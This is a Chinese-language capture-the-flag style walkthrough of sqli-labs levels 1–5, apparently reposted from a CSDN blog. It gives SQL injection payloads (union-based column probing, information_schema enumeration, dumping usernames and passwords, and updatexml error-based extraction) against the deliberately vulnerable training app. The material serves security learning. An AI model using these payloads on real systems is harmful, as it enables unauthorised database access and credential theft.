当前位置: 首页> 财经> 金融 > sqli-labs-master靶场通关

sqli-labs-master靶场通关

时间:2025/7/11 17:48:57来源:https://blog.csdn.net/m0_75208155/article/details/141126273 浏览次数:0次

目录

一、sqli-labs第一关 

1.判断是否存在sql注入

(1)提示输入数字值的ID作为参数,输入?id=1

 (2)通过数字值不同返回的内容也不同,所以我们输入的内容是带入到数据库里面查询了

 (3)接下来我们判断sql语句是否是拼接,且是字符型还是数字型

2.联合注入

(1)首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数

(2)爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的

(3)获取当前数据名和版本号,通过结果知道当前数据看是security,版本是8.0.12

(4)爆表

(5)爆字段名

(6)查询字段对应内容

二、sqli-labs第二关

三、sqli-labs第三关

四、sqli-labs第四关

五、sqli-labs第五关


一、sqli-labs第一关 

1.判断是否存在sql注入

(1)提示输入数字值的ID作为参数,输入?id=1

 (2)通过数字值不同返回的内容也不同,所以我们输入的内容是带入到数据库里面查询了

 (3)接下来我们判断sql语句是否是拼接,且是字符型还是数字型

 可以根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询。联合查询原理简单说一下,联合查询就是两个sql语句一起查询,两张表具有相同的列数,且字段名是一样的

2.联合注入

(1)首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数

?id=1'order by 3 --+

?id=1'order by 4 --+

(2)爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的

?id=-1'union select 1,2,3--+

(3)获取当前数据名和版本号,通过结果知道当前数据看是security,版本是8.0.12

(4)爆表

information_schema.tables表示该数据库下的tables表,点表示下一级,where后面是条件

SELECT table_name FROM information_schema.tables WHERE table_schema = 'security';

group_concat()是将查询到结果连接起来

SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security';
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

(5)爆字段名

通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内,可以得到两个敏感字段就是usernamepassword

(6)查询字段对应内容

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

二、sqli-labs第二关

进入sqli-labs-master靶场第二关,加入参数?id=1

当输入单引号或者双引号可以看到报错,且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入

使用order by 判断数据库有几列:3列回显正常,4列出现报错,说明只有3列

?id=1 order by 3

 使用联合查询union select判断回显位置

?id=-1 union select 1,2,3

发现2和3的回显,判断数据库名称

?id=-1 union select 1,database(),version()

查询到库名后查询库下所有表

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

判断users表中下的字段名称

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

 查询字段中的数据

?id=-1 union select 1,2,group_concat(username ,id , password) from users

三、sqli-labs第三关

进入sqli-labs-master靶场第二关,加入参数?id=1

加单引号判断闭合, 通过报错信息可以发现是以单引号和括号进行闭合的

?id=2')--+

 使用order by判断数据库有几列:3列回显正常,4列出现报错,说明只有3列

?id=1') order by 3--+

使用联合查询union select判断回显位置

?id=-1') union select 1,2,3--+

发现2和3的回显,判断数据库名称

?id=-1') union select 1,database(),version()--+

查询到库名后查询库下所有表

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

判断users表中下的字段名称

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

查询字段中的数据

?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

四、sqli-labs第四关

根据页面报错信息得知sql语句是双引号字符型且有括号,通过以下代码进行sql注入(与第三关步骤相同)

?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+

五、sqli-labs第五关

进入sqli-labs-master靶场第五关,加入参数?id=1

发现没有回显,判断闭合方式为单引号闭合

?id=1' and 1=1--+

?id=1' and 1=2--+

 爆库名

?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+

爆表名

?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1) --+

只有1列加入参数

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+

 爆列名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+

 爆数据

?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,password)from users),0x7e),1) --+

关键字:sqli-labs-master靶场通关

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

责任编辑: